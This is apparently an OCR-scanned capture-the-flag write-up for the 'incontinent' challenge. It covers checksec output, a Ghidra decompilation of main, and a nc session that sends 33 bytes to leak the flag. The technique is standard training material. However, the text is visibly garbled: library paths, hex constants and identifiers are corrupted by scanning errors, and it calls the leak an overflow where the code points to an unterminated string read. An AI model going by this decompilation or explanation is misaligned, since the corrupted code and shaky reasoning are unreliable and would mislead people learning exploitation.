Overview:

Description:

Flag is in the program on the remote server, if only there was a way to make
it a little more leaky

Use file incontinent dist:

incontinent dist: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /1ib64/1d-1linux-x86-64.s50.2,
BuildID[shal]=152f8a9%e64510cdb2fe2355453ccha36762ed547, for GNU/Linux 3.2.0,
not stripped

Use checksec:

RELRO STACK CANARY NX PIE RPATH
RUNPATH Symbols FORTIFY Fortified Fortifiable FILE

Partial RELRO No canary found NX enabled No PIE No RPATH
No RUNPATH 41 Symbols No 0 2 incontinent dist

Analyze and Solve:

Use Ghidra for analyzing what this file do and | get only main function:

undefined8 main(void)

undefinedl local 98 [32];

undefined8
undefined8
undefined8
undefined8
undefined8
undefined8
undefined8
undefined8
undefined8
undefined8
undefined8

local 78;
local 70;
local 68;
local 60;
local 58;
local 50;
local 48;
local 40;
local 38;
local 30;
local 28;



undefined6 local 20;
undefined2 uStack 1la;
undefined6 uStack 18;
local 78 = 0x6c61657220656874;
local 70 = 0x69772067616c6620;
local 68 = 0x6568206562206¢6¢C;
local 60 = 0x6572206e6f206572;
local 58 = 0x6649202e65746f6d;
local 50 = 0x6e61632075617920;
local 48 = 0x6968742065657320;
local 40 = 0x7720797274202c73;
local 38 = 0x2075617920746168;
local 30 = 0x646964207473756a;
local 28 = 0x20656874206e620;
local 20 = 0x65746f6d6572;
uStack la = 0x7320;
uStack 18 = 0x7265767265;
puts("I\'ve got the flag securely locked up, anything you want to say to
it?");
read (0, local 98,0x32);
printf("You said: ");
printf("%ss",local 98);
puts("\nHave a nice day");
return 0;

From this code and checksec reveal that this file do not use Canary

— Buffer Overflow vulnerability because the max size of input is 0x32 byte but the max size
of local 98 is 32 byte

= Input 33 byte and get flag

minhduc@minhduc-Lecoo-N155A:~/CTF/ByuCTF/incontinents$ nc
chals.cyberjousting.com 1366

I've got the flag securely locked up, anything you want to say to it?
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmn

You said: mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmn
uctf{incontinent is one of my favorite words lol}

Have a nice day

This overflow the first character of flag but | can guess itis byuctf...



